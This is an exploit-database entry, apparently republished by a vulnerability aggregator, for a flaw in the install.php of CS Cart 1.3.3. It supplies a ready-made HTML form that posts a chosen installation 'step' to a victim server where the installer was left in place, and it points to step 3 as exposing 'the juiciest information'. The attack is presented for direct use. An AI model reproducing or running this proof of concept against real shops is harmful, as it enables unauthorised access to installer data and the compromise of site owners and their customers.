CS Cart 1.3.3 - (install.php) Cross Site Scripting Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

CS Cart 1.3.3 Cross Site Scripting Vulnerabilit


                                                # Exploit Title: [CS CART 1.3.3 INSTALL.PHP XSS]
# Date: [2010-09-08]
# Author: [LogicGate]
# Software Link: [http://cs-cart.smartcode.com/]
# Version: [1.3.3]
# Tested on: [N/A]
# CVE : [N/A]

If &#34;install.php&#34; was not removed after installation simply make an html file with the following code and replace &#60;Victim Server&#62; by the PATH to &#34;install.php&#34; example:&#34;http://www.nonexistant.com/install.php&#34;:

&#60;html&#62;
&#60;form name=&#34;installform&#34; method=&#34;post&#34; action=&#34;http://&#60;Victim Ip&#62;/install.php&#34;&#62;
&#60;input type=&#34;text&#34; name=&#34;step&#34;&#62;
&#60;input type=&#34;submit&#34; id=&#34;nextbut&#34; value=&#34;xss&#34;&#62;
&#60;/form&#62;
&#60;/html&#62;

After that open the HTML file you have just created and enter which ever step of the installation you would like to access. Step &#34;3&#34; is where the juiciest information is.

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1